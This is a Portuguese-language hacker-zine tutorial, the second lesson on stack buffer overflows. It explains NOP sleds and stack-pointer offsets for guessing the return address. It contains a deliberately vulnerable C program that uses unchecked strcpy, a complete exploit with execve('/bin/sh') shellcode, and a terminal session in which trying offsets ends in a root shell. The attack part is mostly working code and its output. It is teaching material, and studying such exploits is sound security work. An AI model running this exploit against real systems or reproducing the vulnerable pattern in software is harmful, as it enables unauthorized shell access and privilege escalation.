|
Bem... issu
nao estava programado e nao era esperado, mas devido a
varios elogios feitos ao texto sobre overflows q saiu na f3-00 decidi
fazer uma continuacao soh para aprofundar mais nessa t3kn33k.
Dessa vez vamos falar mais serio pois vc ja tem ideia de como funciona
o buffer overwrite e como +/- codear um.
Na aula passada
o que faziamos era mudar o source do programa
vulneravel para que nos desse exatamente o RET_ADDR de seu buffer
vulneravel. Dessa vez vamos ver c conseguimos fazer o exploit funfar,
sem
precisar alterar o programa.
Como voce
ja deve ter percebido, seria loucura tentar adivinhar
exatamente o ADDR do inicio do buffer do prog (onde esta o shellcode)
e ir
ele mudando no xploit. Nos levariamos um seculo ateh encontrarmos
exatamente o ADDR.
O que faremos entao eh colocarmos NOP'z (0x90) no inicio do buffer,
antes do shellcode, para que assim possamos direcionar o RET_ADDR para
um numero maior de address'z.
Vamos ver um exemplo:
<++>
buff2/ex.c
#define LEN
100
char sc[]
=
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41";
unsigned long
get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int
argc, char *argv[]) {
int i, offset=0, bsize=LEN+32;
char large_string[bsize];
long *long_ptr = (long *) large_string;
long addr;
addr = get_esp()
- offset;
//Coloca o
RET_ADDR
for (i = 0; i < bsize; i+=4)
*(long_ptr ++) = addr;
//Coloca os
NOPs
for (i = 0; i < (bsize/2) - strlen(sc); i++)
*(large_string+i) = 0x42;
//Coloca o
Shellcode
memcpy(large_string+i,sc,strlen(sc));
puts(large_string);
}
<-->
Aki eh soh
um exemplo de como o exploit sera escrito. Compile-o e rode
para ver como ficara' o buffer.
# gcc ex.c
-oex
# ./ex
BBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿Àüÿ¿Àüÿ
¿Àüÿ¿Àüÿ¿Àüÿ¿Àüÿ¿Àüÿ¿Àüÿ¿Àüÿ¿Àüÿ¿Àüÿ¿Àüÿ¿Àüÿ¿Àüÿ¿Àüÿ¿Àüÿ¿Àüÿ¿Àüÿ¿È£
Veja que
o buffer eh dividido em 2 partes:
O shellcode, incluindo os NOPs;
E o RET_ADDR repetido varias vezes.
No exemplo acima a lengenda eh:
BBBB = NOPs
AAAA = Shellcode
¿Àüÿ = RET_ADDR
Mas mesmo
assim sera muito dificio acertar um dos addrs assim no chute.
Por issu que usamos o get_sp() junto a um offset para que fiquemos mais
proximos do addr do buffer.
Agora vamos
colocar o tradicional programa vulneravel...
<++>
buff2/vul.c
void main(int
argc, char *argv[]) {
char buffer[100];
if (argc
> 1)
strcpy(buffer,argv[1]);
}
<-->
E entao o
exploit do mesmo...
<++>
buff2/xplt.c
#define PROG
"./vul"
#define LEN 100
char sc[]
=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long
get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int
argc, char *argv[]) {
int i, offset=0, bsize=LEN+32;
char large_string[bsize];
long *long_ptr = (long *) large_string;
long addr;
if (argc
> 1) offset = atoi(argv[1]);
addr = get_esp()
- offset;
printf("0x%x\n", addr);
for (i =
0; i < bsize; i+=4)
*(long_ptr ++) = addr;
for (i =
0; i < (bsize/2) - strlen(sc); i++)
large_string[i] = 0x90;
memcpy(large_string+i,sc,strlen(sc));
execl(PROG,
PROG, large_string, 0);
}
<-->
Agora vamos
tentar faze-lo funcionar...
# ./xplt
0xbffffcc4
Segmentation fault (core dumped)
# ./xplt 10
0xbffffcba
Segmentation fault (core dumped)
# ./a.out 20
0xbffffcb0
bash#
Viu q maneiro...
o brinquedo funciona. O saco eh que temos q ficar
testando offsets diferentes. Mas depois de descobrirmos o offset correto
fica facil de c usar.
Com issu
concluimos nossa 2a aula sobre buffer overflows...
|